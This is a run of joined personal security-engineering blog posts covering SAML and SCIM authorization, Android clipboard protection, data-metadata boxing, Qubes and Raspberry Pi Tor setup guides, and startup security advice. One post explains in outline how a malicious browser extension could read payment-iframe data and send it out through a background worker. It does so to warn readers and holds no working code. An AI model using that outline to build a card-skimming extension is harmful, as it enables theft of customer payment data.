Most service providers are now supporting SSO (Single Sign-On). This is great to see as managing onboarding and offboarding in an enterprise context is very challenging without it.
However, this only covers authentication, if you want to do anything with authorization you need to do one of the following:
WARNING, there is no such thing as “SAML Group Attributes”1 in the specification. Essentially you can pass attributes, but need the Identity Provider (IdP) and SP to know what that format looks like ahead of time, below is an illustration of what you might receive in the SAML AuthN Response as the SP:
<saml2:Attribute Name="groups" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml2:AttributeValue>Developer</saml2:AttributeValue>
<saml2:AttributeValue>Billing-Admin</saml2:AttributeValue>
</saml2:Attribute>
This can work in a scenario where you’re only doing user auth management in the UI, i.e they’re the agent that initiates contact with the SP and the SP does not allow for any delegate auth to represent them in a machine-to-machine context, such as an API key.
If you are fortunate enough to have a scenario supporting this there are other challenges with this “ad-hoc” approach in that you don’t know what permissions/roles/groups are available in the SP without some other API support. For security in the ideal case the SP fails-closed and if nothing maps correctly the user gets some base level authZ and not admin! But this is up to the SP and not defined as a requirement in SAML itself.
First thing to remember is SCIM2 is a push-based protocol. There are some providers (check this) that provide an API to check for the events instead, however there are no guarantees that the data is up-to-date. The key thing to remember with SCIM is it’s not easy to discern the difference between “no user attributes have changed” and “not receiving updates correctly for the user”, there is no concept of a “heartbeat”. The “freshness” property does seem like a large security hole that should have been a focal point of the protocol design.
I think having a heartbeat/freshness policy in SCIM would be ideal, whereby the IdP could say “if you don’t hear from me in by this time, do this with the user”, then there is no ambiguity on the sync delays.
There are a number of other variances between SCIM providers in how they request a user entity to be deleted, ranging from “please deactivate but retain the data” (soft-delete) to “remove everything” (hard-delete), to unspecified behavior in the middle.
Here is something worth calling out with these two approaches. If you want to have the concept of an API key that is mapped to a user’s capabilities as defined in the IdP you absolutely must use SCIM! Otherwise if the user infrequently logs into the SP to propagate the group attributes to you the capabilities of the API key could become dangerously stale over time. You will still have the lack of heartbeat issues, but at least you won’t be utterly decoupled.
A more modern approach appears to be coming from the OpenID Shared Signals Working Group through something called “Continual Access Evaluation Profile”3, which appears to have a primary focus around AuthN consistency in the SP, but it could have potential to also address stale AuthZ as discussed in this post.
For the complete list of SAML attrname-format types see section 8.3 of http://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf ↩
Okta has a better overview than the official SCIM site: https://developer.okta.com/docs/concepts/scim/ ↩
https://openid.net/specs/openid-caep-specification-1_0.html ↩
To solve this I provided a design to our development teams that leveraged something called a ContentProvider and an implicit feature of Android copy/paste called CoerceToText
. This design was later patented in US10754929B2 / EP3208713B1 which is a bit sad, and I hope it doesn’t limit someone from using this approach today 🤞.
I think this design has some modern relevance since in iOS 16 Apple have chosen to introduce a Pasteboard permission
to address the security issue in a different way, whereby if a target application wants to paste, a user is asked every time if they should allow
or disallow
(UIPasteControl. Whether this stays as is currently, whereby the user of the device needs to confirm access for every-single paste or they allowlist the app for a target app forever, neither of these are as good for UX or security as the approach described here. I do wonder if Apple considered the inverted approach and why they did not want to go with that 🤔.
N.B I chose not to overlay this on the diagram above as there are too many dimensions (e.g. time) to display it nice and simplicistic
It would be nice to see some end to clipboard-stealing malware, one of the earlier articles I was aware of for Android was in 2014 and for the most part it’s still here today almost 10 years on.
Personally I don’t like either the UX or the security of Apple’s approach in iOS 16 as it is:
If Apple can use the above design without some patent issues that would be dope, and I’d love to help in anyway if someone from there stumbles upon this :)
]]>In this store, you have some JavaScript for all your kitchen-y stuff, like spatulas and stuff. For anything that’s risky, like handling credit-cards for customer payments you use a 3rd party like Adyen, PayPal or Stripe. To do this, they recommend putting it in an inline frame (iframe) and this also allows you to wrap that content in a content security policy (CSP).
You would add the CSP mostly to ensure that even if there’s some scary code that can get into that iframe, it can only send data to the payment site’s hostname, so any credit card numbers that a customer puts in there are safe from being sent to the wrong place.
Ok, so what’s bad?
{
...
"all_frames": true,
...
}
Through the combination of content-scripts being injected into all frames (above) and the concept of a background script (or now in Manifest-V3 service worker) security controls such as Same-Origin-Policy (SOP) do not apply to any of the extension’s JavaScript code.
This control usually helps protect from malicious script in a parent frame “DOM walking” into the child frame. A malicious extension may simply use the well-defined communication mechanism to exfiltrate any data a given content.js
scope has access to out to malicious_backend.js
, and that background worker is then free to exfiltrate data from the browser to a domain of the attacker’s choosing :(
N.B. if extension content.js
scripts in two different frames need to communicate/coordinate with each other they can simply proxy through the malicious_backend.js
.
Browser Users
Don’t use browser extensions. The only one you actually need is an adblocker, to achieve this without a Browser Extension here’s the recommendations (either would suffice):
Website Owners
Be aware that you can’t do anything to protect your customers from this threat. If they start reporting anomalous thefts and blaming you, at least add this discussion to your support troubleshooting list.
Btw you can’t enumerate the list of browser-extensions present for privacy reasons, I can attest after having exhaustively tried.
Browser Developers
Figure out a solution? I made some suggestions here that weren’t well received:
Time to use those brains and come up with a genius solution to this mess for consumers.
No, the problem is still here, a malicious browser extension can still steal any of your data, regardless of what the website does to help protect you. But there’s been a few changes that at least make the maliciousness more gauche and (theoretically) detectable by the AppStores. That being said, the 2018 announcement to ban obfuscation doesn’t seem to have made any difference, I flagged an app the other day using jscrambler the other day.
In Manifest V3 some safety changes have landed, such as not allowing remote script to execute in an extension!! I didn’t actually know that was allowed in V2… how was that ever thought to be a good idea from Chrome/Firefox store review perspective?!
Background Scripts are now replaced with Service Workers; however, no changes to where content scripts can be injected or adherence to CSP.
]]>Last post I wrote about some overview thoughts about data-protection in a programming environment, in this one though I want to zoom in on the last item in that post on custom “boxing” of actual data to store metadata (that we already had at the database layer) on what entities should consume this data if we want to adhere to correct security and privacy practices.
The authentication of data access at runtime based on this metadata would be icing on the cake, but the basic goal would simply be that the metadata travels with the data, and any mergers of datums (is that a word?) merges the metadata correctly.
If we take a software company that might use this type of approach, they would need to be of a certain technology maturity level to be able to adopt. Here’s the requirements
Visually seems to work best for me, this is also duplicated in the code repo.
I’ve tried to use the colours green to red to indicate the data-exposure risk, hopefully that is ~intuitive.
Notice that when the data is in the DB on the left it is appropriately described via metadata attributes, though because this is dropped on the floor when it is fetched the logger
, UI
and database2
all do not benefit from it and hence can expose the data insecurely.
Therefore, if instead we required all data to be packaged up with it’s metadata, and some ways in which metadata could be combined when data was combined in the code.
Then we could require that all places where raw data access is required e.g. logger
, UI
, database2
need to know how to deal with reasoning about the attached metadata.
I began to create a toy project around this at github.com/joekir/data-boxes with the following ideas to increase developer adoption:
#2 needs a lot of work still, manifold.systems was the Java framework I found that best achieved the above so far, but this technique would not need to be in Java it’s just the language I’m more comfortable with and can accomodate language manipulation more easily than some other options.
Here’s an example of how it currently works:
// Before
...
String id = "123456abcd";
Integer foo = fetchDataFromStore(id);
var bar = foo + 10;
System.out.println(bar);
...
// After
...
String id = "123456abcd";
DataBox<Integer> foo = fetchDataFromStore(id);
var bar = foo + 10; // any operation on a DataBox<T> would also return a DataBox<T>
System.out.println(bar);
...
I’ve observed that tooling/framework changes that work well, are ones that can be progressively adopted, an example of this is Stripe’s Sorbet type checker for Ruby.
If the adoption is optional, then each development team within an organization can migrate when it is appropriate based upon their other priorities, this is the antithesis of the “big-bang” approach (Big-Bang Adoption), which I’ve always seen fail.
Re-stating the key assumptions for why I think a technique like this should be the future for enterprise software development:
People (me) often forget that Information Security (the field that I work in) has the word “Information” at the front of it. The reason it’s there is that at the end of the day the only thing that matters is ensuring that only the authorized people or services have access to the data that they’re supposed to.
There are seemingly many attributes that go into determining whether a “piece” of data can be accessed, to name a few:
Let us propose that we have some way to express these rules and attach suitable attributes to data in our <data stores>
(e.g. MySQL) and can enforce the controls on access.
What happens next?
Usually what happens next:
The data is relinquished to the caller and relying on hope to protect from accidental or malicious disclosure of the data to an unauthorized party. An additional pain point is that all the data attributes that we described above usually do not travel with the data.
When it’s in the database:
Once it’s downloaded and being accessed by code:
Worse still, it’s very common in technology businesses to have a piece of software download some data from one data store, massage and transform it, then upload it to some other data store. This target data store would then have all the risk and non of the declarative attributes needed so that security systems can protect the data effectively.
Firstly it would be good if we could find out what the caller plans to do with the data, as that could allow us to provide a more useful menu of options.
Use an authenticated pointer.
I don’t mean this at the language level, like in C. But it’s a good analogy. This design seems to be reinvented countless times over in cloud software and therefore should probably be just called a pointer even though it’s not in the same memory space.
Here the authorization occurs at time of “dereferencing” the pointer to access the data, so whatever system does that for you will need to know how to apply the authorization policy based upon the declarative attributes of the Data
.
Again, use an authenticated pointer.
Here the code is simply passing on the message to say “here go get this thing from this place directly” and maintain all the properties surrounding it.
There are some special use cases where you may be able to use homomorphic or partially homomorphic encryption to allow some blinded manipulation of data. But here we’re focussing on the day-to-day business cases that likely do not fit in that simple mathematical manipulation.
A desirable property is that at all times in our software runtime lifecycle the metadata stays with the data. Languages like C# and Java have this notion of “boxing” and “unboxing”, and this does seem to be like another useful analogy that could be used to describe this proposed design.
It should be possible to embed the data policy logic into the runtime itself such that when one of these objects is accessed, there can be an implicit check done against the boxed data object to confirm that the context trying to access the data is authorized. e.g.
data = download(some_data)
# at this stage where the data needs to be accessed the runtime will ask
# 1. what context are we in as the caller?
# 2. what are the attributes associated with the data we're about to print?
#
# and then finally will determine if the security policy agrees this should proceeed
print(data)
Similarly if this data should be written to some other data store, that data store will need an adapter that can authorize the sharing of this data and store it and all its associated attributes.
In reviewing available tooling to support this last case described I’ve come up empty. I had a hunch that maybe some RASP (Runtime Application Self Protection) might have something like this or a way to extend to add, but nothing I found covered this angle. If the reader is aware of such a framework please comment and share the knowledge!
Click here to read part 2 of this post!
]]>Why was this so hard to do…?
If you’ve stumbled upon this via Googlin’ you’ll probably find this helpful, if you’re just reading stuff on my blog it probably won’t be so interesting to you so skip to something else ;)
Now that CentOS is no longer the workhorse for server linux that it once was (announcement), the community are probably going to want to move to RockyLinux as this provides that downstream distro stability that CentOS previous did.
From the dom0
terminal emulator use qvm-create
as I’m not sure exactly how you create a TemplateVM
using the Qubes Manager GUI:
qvm-create --class TemplateVM rocky --property virt_mode=HVM -l gray
* it doesn’t have to be gray, just feels like the right colour for a template
NetworkVM
attached so double check you’re connected to sys-firewall
for the install piece/tmp
dir for simplicitydom0
terminal run
qvm-start rocky --cdrom=<your other vm name>:/tmp/Rocky-8.4-x86_64-boot.iso
assuming you have enough init memory allocated this will eventually get you to the installation GUI for Rockydom0
terminal:
qvm-prefs rocky
, noting down the visible_gateway
, visible_ip
, visible_netmask
I hope someone stumbles across this and finds it helpful!
]]>No doubt, when I write this (assuming someone reads it) someone might say:
“Oh, you should have used Garibaldi…. or Ozymandias or Plato.js”
…or some other framework. Please let me know in the comments, I couldn’t find anything on this and must have been searching for the wrong keywords. When that happens I’ll add an ‘edit’ here to route anyone looking for that that way.
Initially you may start out building a piece of software, and that may grow to be a huge monolithic codebase. There’s benefits to everything being together initially, but then it’s frustrating later on if things are glued together and you’re unable to split it apart easily.
An additional challenge is that SREs/ops/devops people don’t have enough fine-grained control to split up the functionality efficiently.
So are these 2 things achievable:
I learned in this previous project github.com/joekir/indelible that GRPC could easily switch it’s “transport medium” without needing to change the functionality of the code.
This made me think, what if you could abstract the transport mechanism for how a function is called in code. Specifically splitting it into:
aka “What currently doesn’t exist and would need to for this thing to exist”
Firstly, you’d need some way to decorate a function/module/class/etc in the coding language to indicate that implicitly a protobuf should be generated for it.
e.g. (in pseudo code)
@ComponentBoundary
func PrintSomething(String title, Integer count=5){
...
which would produce
...
service <TODO> {
rpc PrintSomething (PrintSomethingArgs) returns (google.protobuf.Empty) {}
}
message PrintSomethingArgs {
required string title = 1;
optional uint32 count = 2;
}
...
Once you have that, you’d want every function call that goes between one of those decorated functions to have some interstitial code that makes a GRPC call which can either do
Then you’d need some runtime configuration that the operations team could leverage to indicate how that function should be “currently” accessed. There’d also need to be some linter/compiler additions to make the language aware of when you’re trying to access something that is over a component boundary and expecting to have some shared state.
I’m a security engineer, so I like security stuff sometimes. There’s another “constraint” that could be interesting here with the decorator.
Generally Network > Container > Shared memory, in terms of defending against exploitation. So it could be that you have some security critical code that you only want to be available at IPC or network level. This decorator could then include that you do not want to allow passthru behaviour, e.g.
@ComponentBoundary(![passthru])
func SecCriticalCode(Object input, Integer count){
...
That’s it, I haven’t coded this thing yet because 1 it seems hard, 2 someone else might have already done it, 3 it could be useless and I just haven’t learned why yet. Let me know in the comments! :)
The value a sequence diagram provides is to show both space and time, as concurrency of requests is very important in software protocol design.The value of a component diagram is showing the ontology of the system.
To combine them, we can simply number each arrow in a component diagram.
The icing on this cake is to collapse yet another dimension: “Cardinality” into the diagram using Crow’s foot notation. This allows us to show what the relationship of each “entity” in the diagram should be, e.g. 1-to-many but the inverse could be simply only-1 or zero-to-1.
Here’s an example illustrating all this using my favourite diagramming tool PlantUML. (Entity Diagrams - PlantUML) It’s my favourite tool as you can quickly modify or maintain a complex diagram by making very small changes to a text file. Additionally it’s open-source meaning if you’re diagramming sensitive intellectual-property you don’t have to worry about it being stored by some other system.
I didn’t want to make the example trite or stupid so I’ve kept it generic, but this wouldn’t be an unusual diagram for some sort of web authentication flow or something.
@startuml
entity "entity A" as A
package foo {
class "entity B" as B
class "entity C" as C
}
entity "entity D" as D
A }o--> B: 1. Makes request to B for access
B --> C: 2. checks if this is ok?
C --> A: 3. asks A for information
A --> C: 4. A responds with request
C ||--> D: 5. C forwards info to D
@enduml
which results in a diagram like this
Walking through the nice features we have in the above diagram
There’s one thing I did not capture here which is a slight limitation on either PlantUML system or my knowledge of it. You can’t combine the crow-feet technique with an additional arrow on the connector to indicate the flow of data. The arrows in the above diagram are just a duplication of the numbering scheme.
]]>First lets categorize the audience, this is for a small company < 200 employees with Seed funding or Series-A funding, this can be extrapolated to a comparative non-profit.
Larger than Series-A, you should potentially review your threat-model and invest more money into security.
Things to do (in order):
Threat Modeling: Designing for Security, this will allow you to think and reason about whether a given risk applies to your business.
How to Measure Anything in Cybersecurity Risk, this will help extend the prior learnings such that you may be able to estimate the risk and therefore make more aggressive tradeoffs in buying some mitigation vs explicitly accepting the risk, both are legitimate strategies.
Sorry, you’re not important enough for these to apply to you, so don’t let anyone convince you to buy protections for these cases at this stage:
Ubiquitous attacks are ones that can impact anyone on the internet, and you essentially do not want your business to be in that pool of potential victims if you can help it.
There is a concept in security, with a handy initialism “CIA” (Confidentiality, Integrity, Availability) these examples fall strictly under the Availability category.
There is the classic case of some attacker causing downtime to your website, however there is additionally a newer flavour causing downtime to your whole organization called “Ransomeware” - if all your systems get encrypted and you have to pay someone to get back to normal operations that could be an existential risk to your startup.
solutions you may want to try:
Actually spend time to put safe-guards in place to prevent your team from accidentally putting customer data in public places. There’s not a silver-bullet solution for this, I’m just emphasizing this is a good place to spend your security “time-budget”.
Use single-sign-on wherever you can, this may be via some identity-provider you purchase (e.g. onelogin) or via OIDC with GSuite.
If you must share credentials, purchase a business account with 1Password, I’m not being a shill here, I’ve reviewed the security and cryptography of this product, it’s excellent and by far the best in this category. I use it for home and business.
Get your users into the habit of not-even-knowing what the password for something is, just generate it in there and share if needed. Also it will prompt you for things like password breaches and missing two-factor-authentication.
At this stage this is not a good use of your budget. Instead I’d recommend contracting a consultancy for small periods of time to review and tweak your setups. You do not have to do this if you can’t spare the budget.
Seriously don’t use client side software, it’s too much time investment for you at this stage. Use either:
These also strongly mitigate the phishing risk to your employees, however you may additionally want to purchase some inexpensive, yearly training on phishing for your employees.
For a fantastic (though 5 years dated) overview on securing GSuite see this guide from trail-of-bits.
Hopefully some of this was useful to you, happy to expand and evolve this over time based on feedback!
]]>all the instructions below assume you’re on a Linux distro, if you’re on Mac, that sucks for you, I’m sorry
you’ll need a Raspberry-Pi Zero a really nice thing about this is you can power it and connect to it’s ethernet just by plugging it into your laptop, no extra cables or power suppply needed!
boot/config.txt
adding this line to the end of the file:
dtoverlay=dwc2
boot/cmdline.txt
add the following after the rootwait command:
modules-load=dwc2,g_ether
touch boot/ssh
to enable thislink-local
onlyarp -a
to see it’s ip address, if you don’t see it for whatever reason, try the next step just in casessh -o PreferredAuthentications=password -o PubkeyAuthentication=no pi@raspberrypi.local
password is raspberry
(all the options are just to stop your keychain throwing a load of keys at it)sudo raspi-config
, enjoying the ncurses-looking menu (whiptail)sudo apt update && sudo apt install tor
, note on next boot this service will autorun a SOCKS5 on localhost:9050ssh -fqCN -L 5000:localhost:9050 -o PreferredAuthentications=password -o PubkeyAuthentication=no pi@raspberrypi.local
localhost:5000
Go to a site like ip.team-cymru.org (sad that the TLS cert expired there..), you’ll notice firstly that it says Type: Darknet
but also that you’re somewhere random in the world, each time you refresh you’ll travel somewhere else, see if you can hit all 7 continents :)